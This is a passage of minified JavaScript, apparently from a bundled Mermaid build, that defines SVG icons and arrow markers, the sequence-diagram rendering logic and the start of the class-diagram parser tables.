48.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z")},"insertDatabaseIcon"),dJe=o(function(t){t.append("defs").append("symbol").attr("id","computer").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z")},"insertComputerIcon"),pJe=o(function(t){t.append("defs").append("symbol").attr("id","clock").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z")},"insertClockIcon"),mJe=o(function(t){t.append("defs").append("marker").attr("id","arrowhead").attr("refX",7.9).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto-start-reverse").append("path").attr("d","M -1 0 L 10 5 L 0 10 z")},"insertArrowHead"),gJe=o(function(t){t.append("defs").append("marker").attr("id","filled-head").attr("refX",15.5).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"insertArrowFilledHead"),yJe=o(function(t){t.append("defs").append("marker").attr("id","sequencenumber").attr("refX",15).attr("refY",15).attr("markerWidth",60).attr("markerHeight",40).attr("orient","auto").append("circle").attr("cx",15).attr("cy",15).attr("r",6)},"insertSequenceNumber"),vJe=o(function(t){t.append("defs").append("marker").attr("id","crosshead").attr("markerWidth",15).attr("markerHeight",8).attr("orient","auto").attr("refX",4).attr("refY",4.5).append("path").attr("fill","none").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1pt").attr("d","M 1,2 L 6,7 M 6,2 L 1,7")},"insertArrowCrossHead"),$ye=o(function(){return{x:0,y:0,fill:void 0,anchor:void 0,style:"#666",width:void 0,height:void 0,textMargin:0,rx:0,ry:0,tspan:!0,valign:void 0}},"getTextObj"),xJe=o(function(){return{x:0,y:0,fill:"#EDF2AE",stroke:"#666",width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),oh=(function(){function t(a,s,l,u,h,f,d){let p=s.append("text").attr("x",l+h/2).attr("y",u+f/2+5).style("text-anchor","middle").text(a);i(p,d)}o(t,"byText");function e(a,s,l,u,h,f,d,p){let{actorFontSize:m,actorFontFamily:g,actorFontWeight:y}=p,[v,x]=vc(m),b=a.split(tt.lineBreakRegex);for(let T=0;T{let s=l0(Me),l=a.actorKeys.reduce((d,p)=>d+=t.get(p).width+(t.get(p).margin||0),0),u=Me.boxMargin*8;l+=u,l-=2*Me.boxTextMargin,a.wrap&&(a.name=qt.wrapLabel(a.name,l-2*Me.wrapPadding,s));let h=qt.calculateTextDimensions(a.name,s);i=tt.getMax(h.height,i);let f=tt.getMax(l,h.width+2*Me.wrapPadding);if(a.margin=Me.boxTextMargin,la.textMaxHeight=i),tt.getMax(n,Me.height)}var Me,ot,TJe,l0,ay,n$,kJe,EJe,i$,Vye,Uye,rC,Gye,CJe,_Je,LJe,RJe,NJe,Hye,qye=N(()=>{"use strict";yr();zye();pt();gr();gr();r2();Xt();v0();tr();Ei();e$();Me={},ot={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],activations:[],models:{getHeight:o(function(){return Math.max.apply(null,this.actors.length===0?[0]:this.actors.map(t=>t.height||0))+(this.loops.length===0?0:this.loops.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.messages.length===0?0:this.messages.map(t=>t.height||0).reduce((t,e)=>t+e))+(this.notes.length===0?0:this.notes.map(t=>t.height||0).reduce((t,e)=>t+e))},"getHeight"),clear:o(function(){this.actors=[],this.boxes=[],this.loops=[],this.messages=[],this.notes=[]},"clear"),addBox:o(function(t){this.boxes.push(t)},"addBox"),addActor:o(function(t){this.actors.push(t)},"addActor"),addLoop:o(function(t){this.loops.push(t)},"addLoop"),addMessage:o(function(t){this.messages.push(t)},"addMessage"),addNote:o(function(t){this.notes.push(t)},"addNote"),lastActor:o(function(){return this.actors[this.actors.length-1]},"lastActor"),lastLoop:o(function(){return this.loops[this.loops.length-1]},"lastLoop"),lastMessage:o(function(){return this.messages[this.messages.length-1]},"lastMessage"),lastNote:o(function(){return this.notes[this.notes.length-1]},"lastNote"),actors:[],boxes:[],loops:[],messages:[],notes:[]},init:o(function(){this.sequenceItems=[],this.activations=[],this.models.clear(),this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0,Uye(ge())},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=this,a=0;function s(l){return o(function(h){a++;let f=i.sequenceItems.length-a+1;i.updateVal(h,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(h,"stopy",n+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopx",r+f*Me.boxMargin,Math.max),l!=="activation"&&(i.updateVal(h,"startx",t-f*Me.boxMargin,Math.min),i.updateVal(h,"stopx",r+f*Me.boxMargin,Math.max),i.updateVal(ot.data,"starty",e-f*Me.boxMargin,Math.min),i.updateVal(ot.data,"stopy",n+f*Me.boxMargin,Math.max))},"updateItemBounds")}o(s,"updateFn"),this.sequenceItems.forEach(s()),this.activations.forEach(s("activation"))},"updateBounds"),insert:o(function(t,e,r,n){let i=tt.getMin(t,r),a=tt.getMax(t,r),s=tt.getMin(e,n),l=tt.getMax(e,n);this.updateVal(ot.data,"startx",i,Math.min),this.updateVal(ot.data,"starty",s,Math.min),this.updateVal(ot.data,"stopx",a,Math.max),this.updateVal(ot.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),newActivation:o(function(t,e,r){let n=r.get(t.from),i=rC(t.from).length||0,a=n.x+n.width/2+(i-1)*Me.activationWidth/2;this.activations.push({startx:a,starty:this.verticalPos+2,stopx:a+Me.activationWidth,stopy:void 0,actor:t.from,anchored:mi.anchorElement(e)})},"newActivation"),endActivation:o(function(t){let e=this.activations.map(function(r){return r.actor}).lastIndexOf(t.from);return this.activations.splice(e,1)[0]},"endActivation"),createLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){return{startx:void 0,starty:this.verticalPos,stopx:void 0,stopy:void 0,title:t.message,wrap:t.wrap,width:t.width,height:0,fill:e}},"createLoop"),newLoop:o(function(t={message:void 0,wrap:!1,width:void 0},e){this.sequenceItems.push(this.createLoop(t,e))},"newLoop"),endLoop:o(function(){return this.sequenceItems.pop()},"endLoop"),isLoopOverlap:o(function(){return this.sequenceItems.length?this.sequenceItems[this.sequenceItems.length-1].overlap:!1},"isLoopOverlap"),addSectionToLoop:o(function(t){let e=this.sequenceItems.pop();e.sections=e.sections||[],e.sectionTitles=e.sectionTitles||[],e.sections.push({y:ot.getVerticalPos(),height:0}),e.sectionTitles.push(t),this.sequenceItems.push(e)},"addSectionToLoop"),saveVerticalPos:o(function(){this.isLoopOverlap()&&(this.savedVerticalPos=this.verticalPos)},"saveVerticalPos"),resetVerticalPos:o(function(){this.isLoopOverlap()&&(this.verticalPos=this.savedVerticalPos)},"resetVerticalPos"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=tt.getMax(this.data.stopy,this.verticalPos)},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return{bounds:this.data,models:this.models}},"getBounds")},TJe=o(async function(t,e){ot.bumpVerticalPos(Me.boxMargin),e.height=Me.boxMargin,e.starty=ot.getVerticalPos();let r=ua();r.x=e.startx,r.y=e.starty,r.width=e.width||Me.width,r.class="note";let n=t.append("g"),i=mi.drawRect(n,r),a=t2();a.x=e.startx,a.y=e.starty,a.width=r.width,a.dy="1em",a.text=e.message,a.class="noteText",a.fontFamily=Me.noteFontFamily,a.fontSize=Me.noteFontSize,a.fontWeight=Me.noteFontWeight,a.anchor=Me.noteAlign,a.textMargin=Me.noteMargin,a.valign="center";let s=kn(a.text)?await w4(n,a):o0(n,a),l=Math.round(s.map(u=>(u._groups||u)[0][0].getBBox().height).reduce((u,h)=>u+h));i.attr("height",l+2*Me.noteMargin),e.height+=l+2*Me.noteMargin,ot.bumpVerticalPos(l+2*Me.noteMargin),e.stopy=e.starty+l+2*Me.noteMargin,e.stopx=e.startx+r.width,ot.insert(e.startx,e.starty,e.stopx,e.stopy),ot.models.addNote(e)},"drawNote"),l0=o(t=>({fontFamily:t.messageFontFamily,fontSize:t.messageFontSize,fontWeight:t.messageFontWeight}),"messageFont"),ay=o(t=>({fontFamily:t.noteFontFamily,fontSize:t.noteFontSize,fontWeight:t.noteFontWeight}),"noteFont"),n$=o(t=>({fontFamily:t.actorFontFamily,fontSize:t.actorFontSize,fontWeight:t.actorFontWeight}),"actorFont");o(wJe,"boundMessage");kJe=o(async function(t,e,r,n){let{startx:i,stopx:a,starty:s,message:l,type:u,sequenceIndex:h,sequenceVisible:f}=e,d=qt.calculateTextDimensions(l,l0(Me)),p=t2();p.x=i,p.y=s+10,p.width=a-i,p.class="messageText",p.dy="1em",p.text=l,p.fontFamily=Me.messageFontFamily,p.fontSize=Me.messageFontSize,p.fontWeight=Me.messageFontWeight,p.anchor=Me.messageAlign,p.valign="center",p.textMargin=Me.wrapPadding,p.tspan=!1,kn(p.text)?await w4(t,p,{startx:i,stopx:a,starty:r}):o0(t,p);let m=d.width,g;i===a?Me.rightAngles?g=t.append("path").attr("d",`M ${i},${r} H ${i+tt.getMax(Me.width/2,m/2)} V ${r+25} H ${i}`):g=t.append("path").attr("d","M "+i+","+r+" C "+(i+60)+","+(r-10)+" "+(i+60)+","+(r+30)+" "+i+","+(r+20)):(g=t.append("line"),g.attr("x1",i),g.attr("y1",r),g.attr("x2",a),g.attr("y2",r)),u===n.db.LINETYPE.DOTTED||u===n.db.LINETYPE.DOTTED_CROSS||u===n.db.LINETYPE.DOTTED_POINT||u===n.db.LINETYPE.DOTTED_OPEN||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED?(g.style("stroke-dasharray","3, 3"),g.attr("class","messageLine1")):g.attr("class","messageLine0");let y="";Me.arrowMarkerAbsolute&&(y=md(!0)),g.attr("stroke-width",2),g.attr("stroke","none"),g.style("fill","none"),(u===n.db.LINETYPE.SOLID||u===n.db.LINETYPE.DOTTED)&&g.attr("marker-end","url("+y+"#arrowhead)"),(u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(g.attr("marker-start","url("+y+"#arrowhead)"),g.attr("marker-end","url("+y+"#arrowhead)")),(u===n.db.LINETYPE.SOLID_POINT||u===n.db.LINETYPE.DOTTED_POINT)&&g.attr("marker-end","url("+y+"#filled-head)"),(u===n.db.LINETYPE.SOLID_CROSS||u===n.db.LINETYPE.DOTTED_CROSS)&&g.attr("marker-end","url("+y+"#crosshead)"),(f||Me.showSequenceNumbers)&&((u===n.db.LINETYPE.BIDIRECTIONAL_SOLID||u===n.db.LINETYPE.BIDIRECTIONAL_DOTTED)&&(ii&&(i=h.height),h.width+l.x>a&&(a=h.width+l.x)}return{maxHeight:i,maxWidth:a}},"drawActorsPopup"),Uye=o(function(t){Rn(Me,t),t.fontFamily&&(Me.actorFontFamily=Me.noteFontFamily=Me.messageFontFamily=t.fontFamily),t.fontSize&&(Me.actorFontSize=Me.noteFontSize=Me.messageFontSize=t.fontSize),t.fontWeight&&(Me.actorFontWeight=Me.noteFontWeight=Me.messageFontWeight=t.fontWeight)},"setConf"),rC=o(function(t){return ot.activations.filter(function(e){return e.actor===t})},"actorActivations"),Gye=o(function(t,e){let r=e.get(t),n=rC(t),i=n.reduce(function(s,l){return tt.getMin(s,l.startx)},r.x+r.width/2-1),a=n.reduce(function(s,l){return tt.getMax(s,l.stopx)},r.x+r.width/2+1);return[i,a]},"activationBounds");o(ru,"adjustLoopHeightForWrap");o(SJe,"adjustCreatedDestroyedData");CJe=o(async function(t,e,r,n){let{securityLevel:i,sequence:a}=ge();Me=a;let s;i==="sandbox"&&(s=qe("#i"+e));let l=i==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=i==="sandbox"?s.nodes()[0].contentDocument:document;ot.init(),X.debug(n.db);let h=i==="sandbox"?l.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=n.db.getActors(),d=n.db.getCreatedActors(),p=n.db.getDestroyedActors(),m=n.db.getBoxes(),g=n.db.getActorKeys(),y=n.db.getMessages(),v=n.db.getDiagramTitle(),x=n.db.hasAtLeastOneBox(),b=n.db.hasAtLeastOneBoxWithTitle(),T=await AJe(f,y,n);if(Me.height=await DJe(f,T,m),mi.insertComputerIcon(h),mi.insertDatabaseIcon(h),mi.insertClockIcon(h),x&&(ot.bumpVerticalPos(Me.boxMargin),b&&ot.bumpVerticalPos(m[0].textMaxHeight)),Me.hideUnusedParticipants===!0){let B=new Set;y.forEach(F=>{B.add(F.from),B.add(F.to)}),g=g.filter(F=>B.has(F))}EJe(h,f,d,g,0,y,!1);let S=await NJe(y,f,T,n);mi.insertArrowHead(h),mi.insertArrowCrossHead(h),mi.insertArrowFilledHead(h),mi.insertSequenceNumber(h);function w(B,F){let G=ot.endActivation(B);G.starty+18>F&&(G.starty=F-6,F+=12),mi.drawActivation(h,G,F,Me,rC(B.from).length),ot.insert(G.startx,F-10,G.stopx,F)}o(w,"activeEnd");let k=1,A=1,C=[],R=[],I=0;for(let B of y){let F,G,$;switch(B.type){case n.db.LINETYPE.NOTE:ot.resetVerticalPos(),G=B.noteModel,await TJe(h,G);break;case n.db.LINETYPE.ACTIVE_START:ot.newActivation(B,h,f);break;case n.db.LINETYPE.ACTIVE_END:w(B,ot.getVerticalPos());break;case n.db.LINETYPE.LOOP_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.LOOP_END:F=ot.endLoop(),await mi.drawLoop(h,F,"loop",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.RECT_START:ru(S,B,Me.boxMargin,Me.boxMargin,U=>ot.newLoop(void 0,U.message));break;case n.db.LINETYPE.RECT_END:F=ot.endLoop(),R.push(F),ot.models.addLoop(F),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos());break;case n.db.LINETYPE.OPT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.OPT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"opt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.ALT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.ALT_ELSE:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.ALT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"alt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U)),ot.saveVerticalPos();break;case n.db.LINETYPE.PAR_AND:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.PAR_END:F=ot.endLoop(),await mi.drawLoop(h,F,"par",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.AUTONUMBER:k=B.message.start||k,A=B.message.step||A,B.message.visible?n.db.enableSequenceNumbers():n.db.disableSequenceNumbers();break;case n.db.LINETYPE.CRITICAL_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.CRITICAL_OPTION:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.CRITICAL_END:F=ot.endLoop(),await mi.drawLoop(h,F,"critical",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.BREAK_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.BREAK_END:F=ot.endLoop(),await mi.drawLoop(h,F,"break",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;default:try{$=B.msgModel,$.starty=ot.getVerticalPos(),$.sequenceIndex=k,$.sequenceVisible=n.db.showSequenceNumbers();let U=await wJe(h,$);SJe(B,$,U,I,f,d,p),C.push({messageModel:$,lineStartY:U}),ot.models.addMessage($)}catch(U){X.error("error while drawing message",U)}}[n.db.LINETYPE.SOLID_OPEN,n.db.LINETYPE.DOTTED_OPEN,n.db.LINETYPE.SOLID,n.db.LINETYPE.DOTTED,n.db.LINETYPE.SOLID_CROSS,n.db.LINETYPE.DOTTED_CROSS,n.db.LINETYPE.SOLID_POINT,n.db.LINETYPE.DOTTED_POINT,n.db.LINETYPE.BIDIRECTIONAL_SOLID,n.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(B.type)&&(k=k+A),I++}X.debug("createdActors",d),X.debug("destroyedActors",p),await i$(h,f,g,!1);for(let B of C)await kJe(h,B.messageModel,B.lineStartY,n);Me.mirrorActors&&await i$(h,f,g,!0),R.forEach(B=>mi.drawBackgroundRect(h,B)),r$(h,f,g,Me);for(let B of ot.models.boxes){B.height=ot.getVerticalPos()-B.y,ot.insert(B.x,B.y,B.x+B.width,B.height);let F=Me.boxMargin*2;B.startx=B.x-F,B.starty=B.y-F*.25,B.stopx=B.startx+B.width+2*F,B.stopy=B.starty+B.height+F*.75,B.stroke="rgb(0,0,0, 0.5)",mi.drawBox(h,B,Me)}x&&ot.bumpVerticalPos(Me.boxMargin);let L=Vye(h,f,g,u),{bounds:E}=ot.getBounds();E.startx===void 0&&(E.startx=0),E.starty===void 0&&(E.starty=0),E.stopx===void 0&&(E.stopx=0),E.stopy===void 0&&(E.stopy=0);let D=E.stopy-E.starty;D2,d=o(y=>l?-y:y,"adjustValue");t.from===t.to?h=u:(t.activate&&!f&&(h+=d(Me.activationWidth/2-1)),[r.db.LINETYPE.SOLID_OPEN,r.db.LINETYPE.DOTTED_OPEN].includes(t.type)||(h+=d(3)),[r.db.LINETYPE.BIDIRECTIONAL_SOLID,r.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(t.type)&&(u-=d(3)));let p=[n,i,a,s],m=Math.abs(u-h);t.wrap&&t.message&&(t.message=qt.wrapLabel(t.message,tt.getMax(m+2*Me.wrapPadding,Me.width),l0(Me)));let g=qt.calculateTextDimensions(t.message,l0(Me));return{width:tt.getMax(t.wrap?0:g.width+2*Me.wrapPadding,m+2*Me.wrapPadding,Me.width),height:0,startx:u,stopx:h,starty:0,stopy:0,message:t.message,type:t.type,wrap:t.wrap,fromBounds:Math.min.apply(null,p),toBounds:Math.max.apply(null,p)}},"buildMessageModel"),NJe=o(async function(t,e,r,n){let i={},a=[],s,l,u;for(let h of t){switch(h.type){case n.db.LINETYPE.LOOP_START:case n.db.LINETYPE.ALT_START:case n.db.LINETYPE.OPT_START:case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:case n.db.LINETYPE.CRITICAL_START:case n.db.LINETYPE.BREAK_START:a.push({id:h.id,msg:h.message,from:Number.MAX_SAFE_INTEGER,to:Number.MIN_SAFE_INTEGER,width:0});break;case n.db.LINETYPE.ALT_ELSE:case n.db.LINETYPE.PAR_AND:case n.db.LINETYPE.CRITICAL_OPTION:h.message&&(s=a.pop(),i[s.id]=s,i[h.id]=s,a.push(s));break;case n.db.LINETYPE.LOOP_END:case n.db.LINETYPE.ALT_END:case n.db.LINETYPE.OPT_END:case n.db.LINETYPE.PAR_END:case n.db.LINETYPE.CRITICAL_END:case n.db.LINETYPE.BREAK_END:s=a.pop(),i[s.id]=s;break;case n.db.LINETYPE.ACTIVE_START:{let d=e.get(h.from?h.from:h.to.actor),p=rC(h.from?h.from:h.to.actor).length,m=d.x+d.width/2+(p-1)*Me.activationWidth/2,g={startx:m,stopx:m+Me.activationWidth,actor:h.from,enabled:!0};ot.activations.push(g)}break;case n.db.LINETYPE.ACTIVE_END:{let d=ot.activations.map(p=>p.actor).lastIndexOf(h.from);ot.activations.splice(d,1).splice(0,1)}break}h.placement!==void 0?(l=await LJe(h,e,n),h.noteModel=l,a.forEach(d=>{s=d,s.from=tt.getMin(s.from,l.startx),s.to=tt.getMax(s.to,l.startx+l.width),s.width=tt.getMax(s.width,Math.abs(s.from-s.to))-Me.labelBoxWidth})):(u=RJe(h,e,n),h.msgModel=u,u.startx&&u.stopx&&a.length>0&&a.forEach(d=>{if(s=d,u.startx===u.stopx){let p=e.get(h.from),m=e.get(h.to);s.from=tt.getMin(p.x-u.width/2,p.x-p.width/2,s.from),s.to=tt.getMax(m.x+u.width/2,m.x+p.width/2,s.to),s.width=tt.getMax(s.width,Math.abs(s.to-s.from))-Me.labelBoxWidth}else s.from=tt.getMin(u.startx,s.from),s.to=tt.getMax(u.stopx,s.to),s.width=tt.getMax(s.width,u.width)-Me.labelBoxWidth}))}return ot.activations=[],X.debug("Loop type widths:",i),i},"calculateLoopBounds"),Hye={bounds:ot,drawActors:i$,drawActorsPopup:Vye,setConf:Uye,draw:CJe}});var Wye={};dr(Wye,{diagram:()=>MJe});var MJe,Yye=N(()=>{"use strict";Iye();e$();Pye();Xt();qye();MJe={parser:Mye,get db(){return new J6},renderer:Hye,styles:Oye,init:o(t=>{t.sequence||(t.sequence={}),t.wrap&&(t.sequence.wrap=t.wrap,nv({sequence:{wrap:t.wrap}}))},"init")}});var a$,nC,s$=N(()=>{"use strict";a$=(function(){var t=o(function(Ie,Ne,Ce,Fe){for(Ce=Ce||{},Fe=Ie.length;Fe--;Ce[Ie[Fe]]=Ne);return Ce},"o"),e=[1,18],r=[1,19],n=[1,20],i=[1,41],a=[1,42],s=[1,26],l=[1,24],u=[1,25],h=[1,32],f=[1,33],d=[1,34],p=[1,45],m=[1,35],g=[1,36],y=[1,37],v=[1,38],x=[1,27],b=[1,28],T=[1,29],S=[1,30],w=[1,31],k=[1,44],A=[1,46],C=[1,43],R=[1,47],I=[1,9],L=[1,8,9],E=[1,58],D=[1,59],_=[1,60],O=[1,61],M=[1,62],P=[1,63],B=[1,64],F=[1,8,9,41],G=[1,76],$=[1,8,9,12,13,22,39,41,44,68,69,70,71,72,73,74,79,81],U=[1,8,9,12,13,18,20,22,39,41,44,50,60,68,69,70,71,72,73,74,79,81,86,100,102,103],j=[13,60,86,100,102,103],te=[13,60,73,74,86,100,102,103],Y=[13,60,68,69,70,71,72,86,100,102,103],oe=[1,100],J=[1,117],ue=[1,113],re=[1,109],ee=[1,115],Z=[1,110],K=[1,111],ae=[1,112],Q=[1,114],de=[1,116],ne=[22,48,60,61,82,86,87,88,89,90],Te=[1,8,9,39,41,44],q=[1,8,9,22],Ve=[1,145],pe=[1,8,9,61],Be=[1,8,9,22,48,60,61,82,86,87,88,89,90],Ye={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mermaidDoc:4,statements:5,graphConfig:6,CLASS_DIAGRAM:7,NEWLINE:8,EOF:9,statement:10,classLabel:11,SQS:12,STR:13,SQE:14,namespaceName:15,alphaNumToken:16,classLiteralName:17,DOT:18,className:19,GENERICTYPE:20,relationStatement:21,LABEL:22,namespaceStatement:23,classStatement:24,memberStatement:25,annotationStatement:26,clickStatement:27,styleStatement:28,cssClassStatement:29,noteStatement:30,classDefStatement:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_